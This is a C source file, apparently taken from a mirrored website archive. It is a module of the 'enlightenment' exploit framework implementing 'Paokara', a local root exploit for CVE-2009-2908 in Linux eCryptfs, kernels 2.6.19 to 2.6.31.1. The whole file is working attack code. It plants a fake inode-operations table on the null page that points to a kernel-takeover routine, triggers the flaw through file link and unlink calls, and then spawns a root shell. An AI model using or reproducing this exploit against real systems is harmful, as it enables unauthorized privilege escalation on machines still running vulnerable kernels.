home *** CD-ROM | disk | FTP | other *** search
/ comtecelectrical.ca / www.comtecelectrical.ca.tar / www.comtecelectrical.ca / enlightenment / exp_paokara.c < prev    next >
C/C++ Source or Header  |  2009-11-04  |  2KB  |  85 lines

  1. /* CVE-2009-2908
  2.    Integrated into enlightenment upon Fotis Loukos' request
  3.    Also ported to x64
  4.    Original x86 exploit was written by Fotis Loukos:
  5.    http://fotis.loukos.me/security/exploits/paokara.c
  6.  */
  7.  
  8. #include <stdio.h>
  9. #include <unistd.h>
  10. #include <stdlib.h>
  11. #define __USE_GNU
  12. #include <fcntl.h>
  13. #include <sys/types.h>
  14. #include "exp_framework.h"
  15.  
  16. struct exploit_state *exp_state;
  17.  
  18. struct myinodeops {
  19.     void *dontcare[17];
  20.     void *getxattr;
  21. };
  22.  
  23. char *desc = "Paokara: Linux 2.6.19->2.6.31.1 eCryptfs local root";
  24.  
  25. int prepare(unsigned char *buf)
  26. {
  27.     /* this gets placed at 0x1 because we overwrite the i_op with 0x1
  28.        in our loop that sets the mutex count properly
  29.     */
  30.     struct myinodeops *ops = (struct myinodeops *)(buf + 1);
  31.     unsigned long *lbuf = (unsigned long *)buf;
  32.     int i;
  33.  
  34.     /* make sure mutex count is 1, handle any configuration
  35.     */
  36.     for (i = 0; i < 200; i++)
  37.         lbuf[i] = 1;
  38.         
  39.     ops->getxattr = exp_state->own_the_kernel;
  40.  
  41.     return 0;
  42. }
  43.  
  44. int requires_null_page = 1;
  45.  
  46. int get_exploit_state_ptr(struct exploit_state *ptr)
  47. {
  48.     exp_state = ptr;
  49.     return 0;
  50. }
  51.  
  52. int trigger(void)
  53. {
  54.     char buf1[4096];
  55.     char buf2[4096];
  56.     int fd;
  57.     char *path = getenv("XPL_PATH");
  58.     if (path == NULL) {
  59.         fprintf(stdout, " [+] XPL_PATH environment variable not set.  Defaulting to current directory.\n");
  60.         path = ".";
  61.     }
  62.     snprintf(buf1, sizeof(buf1), "%s/lala", path);
  63.     snprintf(buf2, sizeof(buf2), "%s/koko", path);
  64.  
  65.     if (open(buf1, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600) < 0) {
  66.         fprintf(stdout, "Failed to create %s\n", buf1);
  67.         return 0;
  68.     }
  69.     link(buf1, buf2);
  70.     unlink(buf1);
  71.     if ((fd = open(buf2, O_RDWR | O_CREAT | O_NOFOLLOW, 0600)) < 0) {
  72.         fprintf(stdout, "Failed to create %s\n", buf2);
  73.         return 0;
  74.     }
  75.     unlink(buf2);
  76.     write(fd, "kot!", 4);
  77.  
  78.     return 1;
  79. }
  80.  
  81. int post(void)
  82. {
  83.     return RUN_ROOTSHELL;
  84. }
  85.